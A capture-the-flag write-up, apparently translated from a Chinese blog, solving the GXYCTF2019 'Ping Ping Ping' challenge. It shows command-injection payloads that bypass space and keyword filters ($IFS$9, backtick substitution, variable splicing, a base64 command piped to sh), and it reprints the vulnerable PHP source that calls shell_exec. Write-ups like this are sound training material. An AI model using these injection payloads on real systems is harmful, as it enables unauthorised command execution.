BUUCTF:[GXYCTF2019]Ping Ping Ping

Title address: https://buuoj.cn/challenges#[GXYCTF2019]Ping%20Ping%20Ping

Insert picture description here
Insert picture description here
?ip=Obviously there is command execution injection, use ;or |close the previous command

After the fuzz test, spaces, bash characters, flag characters, and some special symbols are filtered

Insert picture description here
Insert picture description here
Insert picture description here
Insert picture description here

  • Use spaces to bypass here$IFS$9
/?ip=;id;whoami;pwd;ls;ls$IFS$9-lha

Insert picture description here
I use

/?ip=;cat$IFS$9`ls`

Cat all files in the current directory directly, check the source code and find the flag

Insert picture description here
Topic source code

<?php
if(isset($_GET['ip'])){
    
    
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    
    
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    
    
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    
    
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    
    
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

Post other methods I saw on the Internet

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
.......

Guess you like

Origin blog.csdn.net/mochu7777777/article/details/109180116